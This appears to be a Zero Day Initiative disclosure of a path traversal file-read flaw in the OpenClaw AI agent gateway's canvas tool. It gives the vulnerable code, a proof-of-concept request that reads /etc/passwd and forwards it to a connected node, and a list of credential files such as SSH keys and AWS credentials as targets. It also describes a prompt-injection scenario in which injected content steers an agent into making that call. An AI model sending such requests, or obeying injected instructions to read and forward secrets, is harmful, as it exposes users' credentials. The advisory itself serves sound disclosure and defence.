OpenClaw Canvas Path Traversal Information Disclosure Vulnerability

ZDI-CAN-29312: OpenClaw Canvas Path Traversal Information Disclosure Vulnerability

-- ABSTRACT -------------------------------------

Trend Micro's Zero Day Initiative has identified a vulnerability affecting the following products: OpenClaw - OpenClaw

-- VULNERABILITY DETAILS ------------------------

• Version tested: openclaw 2026.2.17
• Platform tested: macOS 26.3

Analysis

Description

The OpenClaw gateway's canvas tool accepts an a2ui_push action with a jsonlPath parameter that specifies a filesystem path to read. The gateway reads this file using fs.readFile() with no path validation, canonicalization, or directory restriction. An authenticated attacker can supply an arbitrary absolute or relative path to read any file accessible to the gateway process.

The file contents are forwarded to the connected node client via the canvas.a2ui.pushJSONL WebSocket command. The gateway itself returns { ok: true } to the HTTP caller, confirming the file was read and transmitted.

Root Cause

In src/agents/tools/canvas-tool.ts, the a2ui_push action handler reads a file from disk without any path restrictions:

case "a2ui_push": {
  const jsonl =
    typeof params.jsonl === "string" && params.jsonl.trim()
      ? params.jsonl
      : typeof params.jsonlPath === "string" && params.jsonlPath.trim()
        ? await fs.readFile(params.jsonlPath.trim(), "utf8")  // <-- NO PATH VALIDATION
        : "";
  if (!jsonl.trim()) {
    throw new Error("jsonl or jsonlPath required");
  }
  await invoke("canvas.a2ui.pushJSONL", { jsonl });
  return jsonResult({ ok: true });
}

The jsonlPath parameter is passed directly to fs.readFile() after only a .trim() call. There is:

• No allowlist of permitted directories
• No canonicalization (path.resolve / realpath)
• No check against directory traversal sequences (..)
• No restriction to .jsonl file extensions

Attack Scenario

Prompt Injection (Primary)

OpenClaw is an AI agent orchestration tool. AI agents hold the gateway token to invoke tools. A prompt injection attack ��� where malicious instructions are embedded in content the AI processes ��� can direct the agent to call:

POST /tools/invoke
Authorization: Bearer <agent's token>
Content-Type: application/json

{
  "tool": "canvas",
  "args": {
    "action": "a2ui_push",
    "jsonlPath": "/etc/passwd",
    "node": "node-host"
  }
}

The gateway reads /etc/passwd (or any file: ~/.ssh/id_rsa, ~/.aws/credentials, openclaw.json containing the gateway token itself) and can forward the contents to an attacker connected node.

Reproduction Steps

Prerequisites

• Docker installed
• Python 3
• OpenClaw Docker image built as openclaw:local

Steps

1. Navigate to the PoC directory and start the environment:

   cd vulnerabilities/01-canvas-a2ui-push-lfi
   docker compose up -d --wait
   

2. This starts two containers:

   • Gateway (openclaw-vuln-01-gateway): Token-protected OpenClaw gateway on port 18701
   • Node (openclaw-vuln-01-node): WebSocket node client that logs received data (simulates exfiltration)

3. Wait a few seconds for the node to authenticate, then run the PoC:

   python3 poc.py
   

4. The PoC runs three tests:

   Test	Description	Result
   1 ��� No auth	POST /tools/invoke without token	401 Unauthorized
   2 ��� Exploit	POST /tools/invoke with token, jsonlPath=/etc/passwd	200 OK (file read)
   3 ��� Exfiltration	Check node container logs for received file contents	/etc/passwd contents visible

5. Test 2 sends: {"tool":"canvas","args":{"action":"a2ui_push","jsonlPath":"/etc/passwd","node":"node-host"}}. The gateway reads /etc/passwd via fs.readFile() and forwards the contents to the node via canvas.a2ui.pushJSONL. The node logs show the full exfiltrated file:

   [node] ====== EXFILTRATED FILE CONTENTS via a2ui.pushJSONL ======
   root:x:0:0:root:/root:/bin/bash
   daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
   ...
   node:x:1000:1000::/home/node:/bin/bash
   

6. Cleanup:

   docker compose down -v
   

-- CREDIT --------------------------------------- This vulnerability was discovered by: Peter Girnus (@gothburz) and Project AESIR of TrendAI Zero Day Initiative

-- FURTHER DETAILS ------------------------------

Supporting files: ZDI-CAN-29312.zip

If supporting files were contained with this report they are provided within a password protected ZIP file. The password is the ZDI candidate number in the form: ZDI-CAN-XXXX where XXXX is the ID number.

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Zero Day Initiative zdi-disclosures@trendmicro.com

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http://www.zerodayinitiative.com/documents/disclosures-pgp-key.asc

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-- DISCLOSURE POLICY ----------------------------

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http://www.zerodayinitiative.com/advisories/disclosure_policy/

Fix Commit(s)

• 39816e61b0c4347a83c9b76bc8883190cfe5a3c9